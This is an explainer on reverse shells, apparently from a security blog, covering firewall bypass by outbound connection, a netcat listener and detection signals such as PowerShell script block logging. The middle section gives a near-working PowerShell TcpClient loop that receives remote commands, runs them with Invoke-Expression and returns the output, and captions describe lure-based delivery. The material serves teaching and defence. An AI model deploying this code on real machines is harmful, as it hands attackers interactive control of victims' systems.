A reverse shell is when a compromised machine connects *outbound* to the attacker's server and hands them a command prompt. Because the connection originates from inside your network, it bypasses most inbound firewall rules. The attacker runs a listener (netcat, ncat) waiting for the victim to call home. From a web shell, RCE exploit, or malicious document, one line of code delivers full interactive access.
ICO spoof as Cisco Packet Tracer - social engineering to reverse shell connection. Classic delivery chain in action.
A reverse shell is a type of remote access that lets an attacker control your computer from anywhere in the world. Once it's running, they can see your files, steal your passwords, install more malware, or use your machine to attack others.
Most people who get hacked have no idea how it happened. They clicked something, ran something, or left something exposed - and now someone else owns their machine.
The gap between what attackers know and what defenders know is why attacks keep working. If you understand how these tools work at the code level, you can recognize when something's wrong, build better defenses, and stop being a victim.
This isn't a tutorial for script kiddies. It's for people who want to understand the actual mechanics - what a real implant looks like, how persistence works, what privilege escalation means in code. The threats are real. The people running them are real. And the only way to defend yourself is to understand the weapon.
When you run a reverse shell on a target machine, here's what happens:
Bind shell: Target opens a port, attacker connects in. Problem: firewalls block inbound connections.
Reverse shell: Target connects out to attacker. Outbound TCP is almost never blocked. You flip the direction and walk through.
Reverse Shell Connection Flow
The victim initiates the connection outbound
A reverse shell needs only a few components:
The core pattern involves creating a TCP connection and piping commands through it:
# Concept: TCP client connects to attacker
$client = New-Object System.Net.Sockets.TcpClient
$client.Connect($ip, $port)
$stream = $client.GetStream()
# Stream reader receives commands from attacker
$reader = New-Object System.IO.StreamReader($stream)
# Stream writer sends output back
$writer = New-Object System.IO.StreamWriter($stream)
# Loop: read command, execute, return output
while ($client.Connected) {
$cmd = $reader.ReadLine()
$out = (Invoke-Expression $cmd 2>&1 | Out-String)
$writer.WriteLine($out)
}
On the attacker machine, netcat listens for the incoming connection:
Understanding reverse shells helps you:
This content is from authorized security research. Never execute these techniques against systems you don't own or have explicit written permission to test.
Event ID 4104: PowerShell Script Block Logging captures executed commands
Network: Unusual outbound TCP connections from PowerShell processes
Process: powershell.exe spawning with hidden window style (-W Hidden)
Lab demo: TcpClient reverse shell with Kaspersky Premium active. PowerShell payload execution → C2 connection established. MITRE T1059.001, T1071.001.